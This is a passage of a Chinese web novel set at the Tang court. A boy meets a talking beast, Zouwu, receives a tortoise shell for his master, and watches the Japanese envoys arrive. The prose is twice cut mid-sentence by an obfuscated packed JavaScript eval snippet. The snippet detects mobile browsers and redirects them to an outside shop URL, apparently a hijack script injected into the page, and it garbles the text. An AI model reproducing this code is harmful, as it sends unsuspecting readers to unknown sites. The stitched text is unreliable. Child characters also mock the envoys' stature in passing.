“是你!是你在说话!天啊!你真的会说话!声音还这么好听!像……像师父的琴音!” 他完全没意识到这是传音入密的神通,只觉得这大猫猫不仅漂亮,还会说人话,简直是神仙派来的!他兴奋地手舞足蹈,直接嚷嚷了出来。 李治更懵了,他看看激动得小脸通红的景颐,又看看安静趴着、连嘴巴都没张一下的驺吾,满头雾水: “它说话了?我怎么没听见?景颐,你是不是跑累了?” 他想起景颐有时背书背迷糊了会自言自语。 “没有幻听!真的!它刚才问我怎么在这里!” 景颐急急辩解,指着驺吾,“你听,它现在没说话吗?” 李治狐疑地把耳朵贴到驺吾的肚皮上,屏息凝神,仔细倾听。除了平稳有力的心跳、温热的体温和皮毛摩擦的细微声响,什么别的声音都没有。 “没有啊……”李治满头雾水。 景颐眼珠一转,闻言立刻扬起小下巴,脸上露出一种混合了得意和炫耀的小表情,活像只偷到油的小老鼠,脆生生道:“这是我和大猫猫的悄悄话!只有我们能听见!” 这话一出,李治抬起头,委屈地撇了撇小嘴,眼圈居然开始慢慢泛红,声音也带上了哭腔:“景颐,你是不是不把我当最好的朋友了?你跟它有悄悄话,都不告诉我……我们不是说好了,有秘密要一起分享的吗?” 他一边说,一边用那双泪汪汪的、写满“你伤害了我”的大眼睛,一眨不眨地望着景颐,小模样可怜极了,任谁看了都心生不忍。 景颐最受不了雉奴掉金豆豆,尤其还是因为自己!他一看李治这副样子,刚才那点得意瞬间烟消云散,连忙手忙脚乱地扑过去,伸出小胳膊紧紧抱住李治,笨拙地拍着他的背,急急辩解: “没有没有!雉奴你是我最好最好的朋友!比……比师父的琴弦还亲!比李叔叔的点心还重要!真的!它刚才就问我为什么在这里,没说什么特别的秘密!可能……可能是它说话的方式比较特别,只有我能听见?这叫……叫神交!师父说过的!不是故意不告诉你的!” 他搜肠刮肚,把能想到的安慰话和理由都倒了出来,小脸因为着急而涨得通红。 李治的眼泪瞬间收了回去,眨巴着还带着水汽的大眼睛,确认道:“真的?就问这个?” “千真万确!比真金还真!骗你是小狗!” 景颐用力点头,小脸写满诚恳。 “哦……” 李治觉得有点没劲,还以为是什么了不得的大秘密呢,原来就这么一句话。 他顿时对大猫猫说话这件事失去了大半兴趣,觉得可能是景颐的错觉,或者这猫猫有点灵性,但还没到能说人话的地步。 景颐见他变脸比翻书还快,眼泪收放自如,顿时明白自己又被诈了!上次就被他用这招骗过!他气得小脸鼓成了河豚,伸手就去挠李治腰间的痒痒肉:“好你个雉奴!你又装哭骗我!看招!痒痒攻击!” “哈哈哈!景颐我错啦!别挠了!好痒!哈哈哈!” 李治最怕痒,顿时笑成一团,在驺吾身上滚来滚去,连连求饶。 驺吾看着身上打滚的两个小不点,眼中的笑意几乎要满溢出来。它觉得有趣极了,这两个人类幼崽,一个身负祥瑞却懵懂天真,一个贵为皇子却纯善可爱。 它心念一动,起了玩心,这次,将一道同样温和的传音,轻轻送入了正被景颐挠得笑出眼泪的李治耳中:【那么,你呢,小家伙?你又是谁家的娃娃?】 正和景颐打闹的李治动作猛地一僵,笑声戛然而止。他难以置信地瞪大眼睛,缓缓转过头,看向身下驺吾那带着笑意的眼睛,结结巴巴,声音都变了调:“你、你……你真的跟我说话啦?!我听到了!清清楚楚!你不是景颐的幻听!” “对吧对吧!我就说它会说话!” 景颐得意洋洋地扬起小下巴,与有荣焉,仿佛驺吾会说话是他的功劳。 “我是耶耶的小孩!” 李治这下彻底信了,激动得小脸通红,对着驺吾大声说道,语气里充满了毫不掩饰的骄傲, “我耶耶可厉害了!是天底下最厉害最厉害的耶耶!他是大皇帝!管着好大好大的地方,有好多好多厉害的大将军和聪明的大臣!他现在正带着他们在那边林子里打猎!打大老虎、大狗熊、还有跑得飞快的鹿!” 他努力挺起小胸脯,试图让自己也显得很厉害。 于是,溪流边这幅画面变得更加诡异而温馨: 一头美丽得不似凡间应有的仁兽慵懒地趴卧在秋日暖阳下,两个玉雪可爱、衣着华贵的小郎君毫无形象地趴在它身上,一会儿对着空气兴奋地大声自言自语,一会儿互相斗嘴嬉闹,一会儿又一起对着身下的异兽絮叨家长里短、炫耀父威。 阳光将他们的影子拉得很长,秋风送来远处隐约的狩猎号角与他们毫无顾忌的清脆笑语,混合着溪流的潺潺声,竟有一种奇异的安宁与快乐。 而在周围一圈持刀肃立、神经紧绷的侍卫眼中,这画面的惊悚程度已经突破了天际。 晋王殿下和小郎君……这分明是中邪了吧?!还是被这漂亮得过分的虎妖用什么妖法迷了心窍?怎么从刚才开始就对着个畜生说得这么起劲?还聊得有来有回? 几个胆小的侍卫腿肚子都有些发软,握着刀柄的手心全是冷汗,既不敢上前打扰,又不敢移开视线,只能硬着头皮,充当这场跨物种灵异茶话会的僵硬背景板,内心疯狂祈祷狩猎快点结束,或者来个能主事的大人赶紧把这诡异场面结束掉。 欢乐的时光总是过得飞快。日头渐渐西斜,将天边云霞染成了绚烂的金红色,鱼龙川的秋风也带上了些许凉意。远处,隐隐传来了大队人马归营的喧嚣声和号角的长鸣,预示着今日的秋狝即将结束。 一阵马蹄声和呼唤声由远及近: “雉奴——!” “景颐——!你们在哪儿?” 是李承乾带着几名侍卫,循着之前侍卫留下的记号找了过来。他们收获颇丰,心情正好,想着来接弟弟和景颐回去,晚上一起参加热闹的篝火晚宴。 听到兄长的呼唤,正枕着驺吾肚子、和它聊今天晚饭会不会有烤鹿腿的李治,以及正在试图给驺吾尾巴尖那簇白毛打结的景颐,都抬起了头。 驺吾似乎也察觉到了时间的流逝和陌生人群的靠近,它缓缓地、优雅地站起身来。 这个动作让周围如临大敌的侍卫们再次紧张起来,刀尖下意识地指向它。但驺吾只是平静地看了他们一眼,那目光清澈平和,奇异地安抚了众人紧绷的神经。 它低下头,用鼻子轻轻碰了碰还有些懵懂、依依不舍的景颐,然后,从它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322909|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓬松的长毛深处,轻轻推出一物,落在景颐手边的毡毯上。 那是一块约莫巴掌大小、色泽沉黯古朴、边缘圆润的龟甲。龟甲表面天然纹路清晰,似乎还被人以极其高明的手法,镌刻上了许多细密繁复、充满古意的符号与图案,在夕阳余晖下,流转着淡淡的、内敛的光泽。 同时,那道温和的传音再次清晰响起在景颐脑海中:【小麒麟,此物麻烦你转交给你师父长琴。就说是……西山故人问候,近来偶有所得,或对他所寻之物有所助益。务必亲手交予。】 景颐一听是给师父的,神情立刻变得郑重起来。这大猫猫是师父的故人?还能帮到师父? 他立刻小心翼翼地用袖子擦了擦自己沾了点心屑和草叶的小手,然后才双手捧起那块微凉、触手却温润的龟甲。龟甲不重,但上面的纹路摸起来有一种奇异的质感。他仔细看了看,虽然完全看不懂,但觉得一定是很重要的东西。 “嗯!放心吧大猫猫!” 景颐用力点头,小脸严肃,“我一定亲手交给师父!谢谢你的礼物!” 说完,他解下自己腰间那个绣着歪歪扭扭小麒麟图案的荷包,小心翼翼地将龟甲放进去,还拍了拍,确保放得稳稳当当,然后把荷包的口收紧,重新系回腰间。 李治也依依不舍地摸着驺吾光滑依旧的皮毛,仰着小脸问:“大猫猫,你要走了吗?你住在哪里呀?下次……下次,我还能来找你玩吗?” 他是真心喜欢这头漂亮、温柔、还会说话的大猫猫。 驺吾低下头,用额头轻轻蹭了蹭两个孩子的脸颊,如同一位慈祥的长者在告别。然后,它优雅地转过身,迈着来时那般从容不迫的步子,向着它来时的那片疏林走去。 夕阳将它的身影镀上了一层灿烂的金边,那条蓬松的长尾在身后轻轻摆动,划出最后一道优美的光弧。 就在它身影即将完全没入林间那片越来越浓的阴影时,它的身影仿佛瞬间模糊了一下,就像平静的水面被投入石子荡开的涟漪,又像光线在那一刻发生了奇妙的折射。 侍卫们只觉得眼前一花,再定睛看去时,刚才那只虎妖站立的地方,已经空空如也,只有被晚风吹拂的、微微晃动的秋草,仿佛它从未出现过。 “咦?大猫猫呢?” 李治揉揉眼睛,踮起脚张望,“跑进林子里了?怎么跑得这么快?一点声音都没有。” “可能……可能它跑得特别快吧?像风一样!” 景颐也伸长了脖子看,但林影幢幢,哪里还有那抹美丽的浅金色身影? “你们看见那……那……它跑哪儿去了吗?” 李治回过头,问离得最近的一名侍卫。 那侍卫脸色有些发白,眼神里还残留着惊疑不定。他和其他同伴交换了一下眼神,都从对方脸上看到了同样的困惑与一丝不易察觉的骇然。 他们明明一直死死盯着,可就在那虎妖转身走入林影的刹那,仿佛所有人的眼睛都集体花了一下,它就凭空消失了? “回、回殿下,” 侍卫长咽了口唾沫,努力让自己的声音听起来平稳,“许是……许是那异兽迅捷无比,窜入林中深处,天色又晚,故而……看不真切了。” 他只能给出这个最符合常理、也最能安抚人心的解释。 就在这时,李承乾带着人赶到了溪边。看到弟弟和景颐好端端地站在毡毯边,只是小脸被夕阳照得红扑扑的,头发衣服有些凌乱,周围侍卫也安然无恙,他才松了口气。 “可算找到你们了!怎么跑到这么偏的地方?” 李承乾下马走来,顺手替李治理了理歪掉的玉冠,“耶耶今日收获颇丰,猎了一头极大的公鹿,还有好些獐子野兔。晚膳有新鲜的炙鹿肉吃了!快随我回去,耶耶和阿娘都等着呢。” “好耶!炙鹿肉!” 景颐和李治的注意力立刻被美食吸引,刚才那点关于大猫猫去向的疑惑瞬间被抛到脑后。景颐摸了摸腰间硬硬的荷包,也催促道:“走走走,快回去!我饿了!” 两个孩子欢天喜地地被李承乾抱上马,在一众侍卫的簇拥下,朝着营地灯火通明的方向行去。夕阳将他们的影子长长地拖在身后,渐渐融入暮色。 63.第 63 章 秋狝队伍满载着猎物与荣耀回到长安。一回凝云轩,景颐连沾了尘土的外衣都来不及换,就哒哒哒地抱着他的小荷包,直奔长琴的书房。 “师父!师父!你看!” 他踮着脚,小心翼翼地从荷包里掏出那块古朴的龟甲,献宝似的双手捧到正在翻阅典籍的长琴面前,小脸上写满了“快问我怎么回事”的兴奋, “是鱼龙川那只特别特别漂亮、会说话、毛茸茸的大猫猫给我的!它让我一定要亲手交给师父!还说……嗯,说是西山故人问候,还说什么可能对师父找的东西有帮助!” 长琴放下书卷,目光落在那块龟甲上。他清冷的眸子里,罕见地掠过一丝极淡的波动,似是怀念,又似是感慨。 他接过龟甲,指尖轻轻拂过上面那些古老的纹路,感受着其中蕴含的、属于驺吾的平和气息与一丝若有若无的、关于《鸣岐谱》线索的玄妙感应。 “是它。” 长琴低声自语,随即看向眼巴巴望着自己的小徒弟,语气温和了些许,“那是驺吾,确是故友。你能遇见它,亦是缘法。” “驺吾?” 景颐重复了一遍这个名字,觉得很好听,跟他一样是两个字! “它好漂亮!脾气也好好!我跟雉奴在它身上玩了好久,它还甩尾巴逗我们玩!” 他叽叽喳喳地把相遇的经过说了一遍,重点描述了驺吾的毛有多软多滑,尾巴有多漂亮,以及它声音有多好听。 长琴静静听着,没有打断。待景颐说完,他才道:“西山是驺吾常居之地,清幽祥和。待你……嗯,待你学业再进益些,为师或可带你去西山拜访它。” “真的吗?!” 景颐眼睛瞬间亮如星辰,扑到长琴怀里,仰着小脸,满是期待,“可以再见到大猫猫?太好了!师父说话算话!我、我明天就开始好好练字!不画乌龟了!” 为了能再去撸那漂亮的大猫猫,他觉得练字好像也没那么难以忍受了。 长琴眼底闪过一丝笑意,轻轻拍了拍他的头:“且记住你的话,龟甲我收下了,你去玩吧。” “嗯!” 景颐心满意足,觉得帮师父和大猫猫传递了很重要的东西,还得到了去西山玩的承诺,快活得像只偷到蜜的小熊,蹦蹦跳跳地跑出去找李治分享这个好消息了。 日子在景颐偶尔想起的练字和经常进行的玩耍中滑过,转眼入了冬月。长安的天气一日冷过一日,树叶子掉得差不多了,宫里早早用上了熏笼和炭盆。 这日,景颐裹着厚厚的貂皮小袄,像只圆滚滚的小熊,窝在立政殿的熏笼边,看长孙皇后教丽质和豫章打一种新的绦子。他手笨,学不会,就在旁边吃着宫女剥好的橘子,顺便偷听大人们的谈话。 李世民下朝后来到立政殿,与长孙皇后说起朝中事务,提到了即将派遣时任司农卿的长孙师出使高丽。 “……高丽近年虽表面恭顺,然私下小动作不断,前隋将士骸骨所筑京观,仍立于其境,实乃国耻。此次令长孙师前往,一则重申藩礼,二则务必要收殓前朝将士遗骸,妥善带回,并……毁去那京观。” 李世民语气平静,却带着不容置疑的决断。 景颐竖起了小耳朵。高丽?听起来像个地名。京观?没听过。他吞下嘴里的橘子瓣,蹭到长孙皇后身边,拽了拽她的袖子,好奇地问:“大姐姐,高丽是哪里呀?很远很远吗?比九成宫还远吗?京观是什么?听起来像个塔?为什么要毁掉呀?是坏掉的塔吗?” 小孩子的问题总是直接又跳跃。李世民闻言,看了他一眼,没说话,继续喝茶,显然将解释权交给了皇后。 长孙皇后放下手中的丝线,将景颐搂到身边,用温暖的掌心包住他有些凉的小手,声音温柔却带着一种罕见的郑重:“高丽呀,在很远很远的东北边,比九成宫远得多得多,要坐很久很久的船,走很远很远的路才能到。” “哇!那么远!” 景颐想象了一下,觉得那一定是个比天边还远的地方。 “至于京观……” 长孙皇后顿了顿,似乎在斟酌如何向孩童解释这件血腥而屈辱的往事。她最终选择了最直观、也最符合孩子理解的说法,语气沉缓下来, “那不是塔,是……用很多很多死去将士的骸骨,故意堆积起来,用来炫耀武功、震慑他人的……东西。是非常、非常坏,非常残忍,不应该存在于这个世界上的东西。所以,要毁掉它,让那些牺牲的将士能够安息,也让所有人都知道,那种坏东西,是不被允许的。” 她尽量用孩子能理解的词,避开了具体的血腥描述,但那份沉痛与坚决,却清晰地传递了出来。 景颐虽然不能完全理解京观意味着什么,但他听懂了这些话,也看懂了长孙皇后眼中那抹深沉的哀伤与李叔叔脸上罕见的冷峻。 他似懂非懂地点点头,小声说:“哦……是坏东西,那就要毁掉,让……让那些将士叔叔们回家。” 他隐约记得,以前好像听谁说过,人死了要回家,或者去该去的地方,不能留在坏地方。 长孙皇后轻轻摸了摸他的头发,没再继续说下去。有些历史的沉重,需要他再长大些才能慢慢体会。 殿内因提及旧事而略显沉凝的气氛,很快被新的消息打破。 一名鸿胪寺的官员匆匆求见,得到允准后入内禀报:“陛下,皇后殿下。莱州八百里加急奏报,倭国遣唐使船队已于三日前在莱州登岸,人员、贡物大致清点无误,现已由莱州官员及我鸿胪寺派员护送,启程前来长安,预计腊月中旬可抵京。” “嗯,知道了。一路务必妥善安置,不得有失。”李世民点点头,神色平静,并无太多意外,他转向长孙皇后解释道: “前段时间便有登州来报,言东海有异国大船数艘漂泊,旌旗文字迥异,疑是倭国船只。我已命沿海州县留意,并令鸿胪寺早做准备,不想他们动作倒快,已至莱州了。” 长孙皇后沉思道:“前朝《后汉书》有载,‘建武中元二年,倭奴国奉贡朝贺,光武赐以印绶’。自光武皇帝至今,已近六百载,海路迢迢,风波难测,其国再度遣使越海而来,诚心可鉴。二郎当以礼待之,亦显我大唐海纳百川之气度。” “观音婢所言甚是。”李世民颔首,“既来朝贡,学习礼乐文物,自当以宾礼相待。令鸿胪寺、典客署依制准备便是。” 帝后二人的对话,用的是正式词汇,语气平和,带着天朝上国对远方慕化而来者的从容与气度。然而,这番话落在旁边几个竖着小耳朵偷听的孩子耳中,却无异于投下了一颗充满奇幻色彩的石子。 “倭国?” 景颐重复着这个陌生的名字,眼睛“唰”地亮了,他立刻扭头看向旁边的李治、丽质和豫章,小脸上写满了十万个为什么:“倭国是哪里?很远吗?比高丽还远吗?坐大船来的?是像上次梦见的那种很大很大的船吗?” 李治茫然摇头,他连高丽在哪个方向都还没搞清。丽质和豫章虽然从母亲那里听过光武帝赐印的典故,知道是个很远的海东岛国,但具体什么样子,也完全没概念。 未知,往往是最好的想象催化剂。 景颐的思绪瞬间跳到了倭国、大海船上,想象力如同脱缰的野马,开始自由奔腾。他拽了拽李治的袖子,压低声音,用那种分享惊天秘密的语气猜测: “倭国会不会……那里的人都是小小人?就像靖人,只有 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两个孩子你一言我一语,从异兽扯到雕像,再扯到听来的各种志怪传奇,把即将到来的倭国使者想象成了各种奇形怪状、神通广大的怪物、神仙或者怪物神仙混合体,讨论得热火朝天,小脸激动得发红,仿佛在争论一个世界上最有趣的话题。 丽质和豫章听着弟弟们越来越离谱、越来越详细的形象设计,忍不住以袖掩面,笑得肩膀直抖。 豫章小声道:“哪会有那般古怪模样……既是漂洋过海来朝贡的使臣,总该是衣冠楚楚、懂得礼仪的人吧?顶多……相貌与我中原略有不同罢了。” “那可不一定!” 景颐对自己的三眼六臂喷火吐水饕餮仙子理论深信不疑,“不然为什么六百多年才来一次?肯定是住得特别远,长得特别不一样!说不定他们的船是飞在天上的!不然大海那么可怕,怎么过得来?” 李世民和长孙皇后在一旁,含笑听着孩子们这场充满童真与奇思妙想的倭国使者形象设计大会,并不出言打断或纠正。 帝后二人一个历经战火、见多识广,一个博学敏思、通达古今,自然知道真实的倭人绝非孩子们想象的那般模样。 但看着他们因一个遥远国度的名号,就能迸发出如此璀璨而无拘无束的想象力,争辩得认真又快乐,这份纯粹的、属于孩童的乐趣,远比倭人究竟是何模样这个事实本身,更让他们觉得珍贵和有趣。 “好了,莫要再争了。” 长孙皇后见两个孩子快为倭人究竟有没有翅膀打赌了,才柔声打断,眼中笑意未减,“你们猜了这许多,是美是丑,是人是仙,是高大是矮小,待腊月使节到了长安,设宴款待之时,带你们去亲眼瞧一瞧,不就一清二楚了?” “真的能去看吗?” 景颐和李治的注意力瞬间被吸引,两双亮晶晶、充满期盼的眼睛齐刷刷望向李世民。 李世民捋须,故意板起脸,眼中却带着笑意:“若他们规规矩矩,懂礼守仪,我自然要设宴款待远客。届时带你们去见见世面,看看真实的海客是何模样,也无不可。不过嘛……” 他话锋一转,目光扫过两个瞬间坐直的小家伙,“景颐,你今日的《急就篇》临摹完了吗?雉奴,前日让你背的《论语·为政》篇,可背熟了?若是功课未完,这宫宴嘛……” “完了完了!这就去!马上去!” 景颐像被踩了尾巴的猫,弹跳起来,拉起还在愣神的李治,嘴里嚷着“师父我回来用功了!”。 两个小身影嗖地一下窜出了立政殿温暖的殿门,速度快得只剩残影,仿佛晚走一步,看奇形怪状倭人的宝贵机会就要飞走了。 64.第 64 章 腊月中旬,倭国遣唐使团终于抵达长安。鸿胪寺依制安排觐见、呈递国书、进献贡礼等一应礼仪。最后,便是宫中设宴款待。 宴会前日,得到允准可以开眼界的景颐和李治,兴奋得像是要去逛十倍大的庙会。两人凑在凝云轩,进行最后一次倭人形象终极猜想大会。 “我觉得肯定是三只眼!中间那只眼平时闭着,关键时刻唰地睁开,能看穿人心!” 景颐信誓旦旦,就像杨戬叔叔那样。 “也可能是背后有翅膀!只是平时收在衣服里,关键时刻噗啦一声张开,能飞!” 李治坚持他的飞天说。 “也可能是会变身!平时是普通人,一激动就变成大怪兽!” “也可能随身带着会说话的猫又或者狐狸!” 两人越说越玄乎,连丽质和豫章过来叫他们试穿明日宴席的新衣,都被他们拉着灌输了一耳朵倭人可能有的十大奇异特征,弄得两位公主哭笑不得。 长琴在一旁抚琴,闻言只淡淡瞥了他们一眼,未发一语。李世民听说后,也只是笑着对长孙皇后摇头:“且让他们猜去,明日便知分晓,落差越大,印象越深。” 翌日,宫中盛宴。景颐和李治特意起了个大早,换上崭新的小王孙服饰,头发梳得一丝不苟,小脸激动得红扑扑的,被宫人领着,坐在了皇子公主们的席位,视野极佳。 鼓乐齐鸣,使者入殿。 在鸿胪寺官员的引导下,一行身着异国服饰、举止拘谨恭顺的倭国使臣,低眉顺眼、迈着小快步走了进来。 为首的正使、副使等人,头戴独特的冠,身穿交领袍服,颜色深沉,样式与中原类似又有微妙不同。他们身材果然如传闻中那般,比在场的唐人大臣普遍要矮小瘦削一些,面容也更具东方岛国的特征,肤色较深,眉眼紧凑。 没有三只眼,没有翅膀,没有獠牙,不会喷火,也没有随身带着会说话的宠物。就是一群看起来有点紧张、有点严肃、个子矮矮的……普通人。 景颐和李治瞪大了眼睛,从使者进殿开始,就死死盯着,尤其是他们的额头、背后、还有袖口。直到使者们行完大礼,在指定的席位跪坐下来,两个孩子才面面相觑,小脸上写满了巨大的失望。 “就……就这样?” 李治小声嘀咕,难掩失落,“还没有四兄上次从西市带回来的昆仑奴新奇呢……” 景颐也瘪了瘪嘴,但很快又找到了新的乐趣点,他捅了捅李治,压低声音,带着点恶作剧般的笑意:“你看,他们是不是比何内侍还矮一点?坐下像个小地豆似的,还挺好玩的。” 于是,整个宴会上半场,两个孩子的主要娱乐项目就变成了:偷偷比较哪个倭国使者个子最矮,猜测他们头上那奇怪的冠重不重,以及模仿他们那种过于恭敬、几乎贴着地面的行礼姿势,被丽质低声制止。 接下来的流程,对孩子们来说就更无聊了。使者献上贡礼,无非是些玛瑙、琥珀、珍珠、精美的漆器、刀具,还有一些叫不上名字的海产、香料。 东西不算差,但在见识过郑和宝船带回的万国奇珍的景颐眼里,实在算不上多新奇。他打了个小哈欠。 然后是程式化的问答。使者用有些生硬的汉语,表达对大唐皇帝陛下和天朝上国的无限敬仰,陈述渡海而来的艰辛与诚心,恳请学习大唐的礼仪律法、典章制度、佛法经文、乃至医药百工。李世民则温言嘉勉,表示欢迎,鼓励他们用心学习,以化导本国之民。 这些话对景颐和李治来说,跟天书差不多。什么律令格式、经史子集、遣唐留学,他们完全不懂,只看到那些矮个子使者听得极其认真,眼睛发亮,频频叩首,嘴里不断说着“哈依”。 就在景颐无聊到开始研究面前金碟边缘的缠枝花纹有多少个弯时,他的目光无意间扫过跪坐在末席的一个年轻倭人随从。 那人似乎对殿中陈列的一柄前朝名将用过的、作为礼器展示的鎏金横刀格外感兴趣,目光灼灼地盯了片刻,手指无意识地在膝上轻轻摩挲,仿佛在模拟握刀挥砍的动作。 就在那一瞬间,景颐眼前的景象恍惚了一下。殿内明亮的灯火、悠扬的乐声、衣着华贵的人群忽然淡去,取而代之的是一幅极其短暂、破碎而又充满肃杀之气的画面: 烽火连天,陌生的城郭在燃烧,许多穿着与眼前倭人类似、但更加狰狞的甲胄的身影,挥舞着狭长的刀,正在与一些看不清楚面貌的人厮杀,哭喊与金铁交击声仿佛隔着厚厚的墙壁隐约传来…… 但这画面消失得太快,如同滴入水中的墨点,瞬间洇开不见。景颐猛地眨了眨眼,眼前还是那座恢弘明亮的大殿,乐声依旧,使者们依旧恭敬地垂首聆训,那个年轻随从也早已低下头,仿佛刚才的专注只是错觉。 “?” 景颐茫然地摸了摸自己的额头,怀疑自己是不是昨晚没睡好,或者宴会太闷出现了幻觉。 那画面太模糊,感觉也太奇怪,他甩甩头,试图把它从脑海里赶出去,但心里却莫名地留下了一丝极其细微的、说不清道不明的不舒服感,像是不小心吞了颗没熟透的果子,有点涩。 “景颐,你看!” 李治在桌子底下偷偷拽他袖子,小声叫他,给他看自己用糯米糕和枣泥在案几上拼出的歪歪扭扭的“倭”字,成功转移了景颐的注意力。 那点不舒服的异样感,很快就被同伴的美食创作和接下来的无聊时光冲淡,最后彻底淹没在了对晚膳点心的期待里。 漫长的宴会终于结束。回宫的路上,两个孩子忍不住凑在一起嘀嘀咕咕。 “好——无——聊——啊——” 李治拖着长音,毫无形象地垮着小肩膀,“还以为能见到会变身或者带神兽的,结果就是一群比魏中丞还规矩的人,说话慢吞吞,东西也不好玩。” “就是!” 景颐用力点头,但想了想,又补充道,“不过他们看李叔叔的时候,眼睛亮得吓人,像雉奴你看到新点心盒子一样。” 他试图描述那种过分的专注和渴望。 “那是因为耶耶是天子,谁都敬仰呀。” 李治理所当然。 “可是……” 景颐挠挠头,想起那闪过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331897|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破碎画面和心里那点不舒服,但又说不清楚,只好换了个问题,“他们干嘛非要来学我们的东西啊?学去了,会不会变成跟我们一样?还是……会变成别的样子?” 这个问题,在他们次日去两仪殿玩时,被景颐直接抛给了正在与长琴对弈的李世民。 李世民正准备落子,闻言手指微顿,抬眼看了看满脸好奇的景颐,又瞥了一眼对面神色平静的长琴,笑了笑,将棋子落下,才缓缓道: “夷狄慕华,如江河之趋海。彼国处海隅,见中原文物鼎盛,心生仰慕,渡重洋而来,求学问道,其志可嘉,其行可勉。我开放国门,许其学习,一显天朝气度,二则……” 他顿了顿,目光扫过棋盘,仿佛在看更大的疆域, “文化如水,润物无声。他们学我礼仪,读我诗书,习我律法,久而久之,其心其行,自会渐染华风。此乃无形之教化,胜过十万雄兵。” 他说的道理,景颐半懂不懂,但胜过十万雄兵听起来很厉害。 这时,一直沉默的长琴忽然开口,声音清冷如常:“然,水能载舟,亦能覆舟。文可化人,亦可饰暴。利器授人,须观其心。若学者心术已偏,或志在掠夺仿效其形,而非领悟其神,则所学愈多,其弊愈深,或反噬其身,或贻害他人。” 他说着,目光似乎不经意地扫过景颐,仿佛看穿了他昨日那一闪而逝的感应。 景颐被师父看得有些心虚,好像自己那点不舒服被发现了。他眨巴着眼,努力理解两位长辈的话。 李叔叔的意思好像是,让他们学,他们就会变得跟我们一样好?师父的意思却是,学错了人,可能会变得更坏?好像……都挺有道理? 李世民听了长琴的话,执棋的手在空中停留了片刻,最终稳稳落下,发出一声清脆的轻响。 “先生所言,亦是有理。然,当下彼等恭顺求教,我自当以诚待之。至于未来……人心难测,世事如棋,非一步可窥全局。当下该行教化之功,便行教化之功。若真有那一日……” 他没有说下去,只是嘴角微扬,露出一丝属于帝王的、沉稳而自信的弧度,“我大唐,亦非昔日之吴下阿蒙。” 景颐听着这打机锋似的对话,小脑袋更晕了。他晃晃头,决定不想这么复杂的问题,反正现在那些倭人看起来挺老实的,还有好吃的糯米糕。 他扯开话题,眼巴巴地看着李世民:“李叔叔,今晚有松子炙肉吗?昨天宴会上都没吃饱……” 李世民和长琴对视一眼,皆从对方眼中看到一丝无奈的笑意。 “有,管够。” 李世民笑着揉了揉景颐的头发,“去吧,带雉奴去尚食局瞧瞧,让他们把最好的鹿腿给你们留着。” “耶!谢谢李叔叔!” 景颐欢呼一声,拉起李治就往外跑,瞬间将什么倭国、什么求学、什么未来隐患全抛到了九霄云外。 对他来说,这个冬天最重要的事情,就是和好朋友一起吃热乎乎的炙肉,然后期待师父哪天履行诺言,带他去西山看那只漂亮得不得了的大猫猫。 65.第 65 章 倭国遣唐使的到访,如同投入平静湖面的一颗石子,漾开几圈涟漪后,宫中的生活很快恢复了往日的节奏。只是鸿胪寺、国子监等地,多了一些身着异服、口音奇特、学习态度异常刻苦的身影。 这日,长琴将景颐叫到跟前。他手中托着那枚从驺吾处得来的龟甲,龟甲此刻色泽更加温润,表面流转着淡淡的金色光晕。 长琴指尖凝聚起一点清辉,轻轻点在龟甲中心,只见那些光晕如同活了过来,丝丝缕缕地汇聚、凝结,最后化作一滴米粒大小、凝实如金液却毫无重量的光点。长琴将这光点,小心翼翼地引入了景颐颈间那枚祝融所赠的玉锁中。 玉锁微微发热了一瞬,随即恢复原状,只是内里仿佛多了一丝极淡的、流动的金芒,触手温润之意更胜从前。 “此乃驺吾以自身祥和之气,结合龟甲灵性炼化的一点精粹,已引入玉锁之中。” 长琴收回手,对睁大眼睛好奇摸锁的景颐道,“可助你进一步稳固灵台,平复梦寐之中的驳杂气息,于你掌控自身溯梦之能,当有裨益。” 景颐似懂非懂,但听起来就很厉害,尤其是“掌控”,是不是意味着以后做梦可以自己挑好看的梦做,不做吓人的?他立刻宝贝地捂住玉锁,甜甜道:“谢谢师父!也谢谢西山的大猫猫!” 过了几日,景颐又溜去弘文馆视察。在馆舍外的回廊下,他撞见了一个年轻的倭国留学僧,正对着廊柱上镌刻的一句诗文,用炭笔在随身携带的木板上吃力地描摹,嘴里还念念有词,发音古怪,神情却极为认真专注。 景颐觉得有趣,凑过去看。那留学僧察觉有人,连忙行礼,态度恭谨。景颐就问他画的是什么,那留学僧结结巴巴地用生硬的汉语解释,这是“非是藉秋风”,他在学习写字和诗意。 景颐一听,来了精神,小胸脯一挺,开始现场教学:“这个字念‘籍’!是凭借、借助的意思!你看,这样写……” 他捡了根树枝,在地上比划起来,写出的字自然是麒麟体,歪歪扭扭。 那留学僧却看得两眼放光,连连“哈依”,也跟着在地上比划,学得一丝不苟,连景颐那独特的歪斜笔锋都试图模仿。 就在这时,李承乾正好路过,看见自家弟弟正在教导倭国留学僧,教的还是他那手不忍直视的字,顿时额头青筋一跳。 他大步上前,一把拎起还在得意洋洋授课的景颐的后衣领,对那目瞪口呆的留学僧礼貌地点了点头:“舍弟顽皮,打扰了。” 然后不由分说,提溜着不断扑腾的景颐就走。 “大兄!放开我!我在教他写字呢!我教得可好了!” 景颐在半空中张牙舞爪。 “你那字也好意思教人?别再误人子弟了!” 李承乾无情镇压,将这只丢人现眼的小皮猴带离了教学现场。留下那留学僧在原地挠头,看了看地上景颐的墨宝,又看了看李承乾挺拔的背影,眼中闪过更深的羡慕与思索。 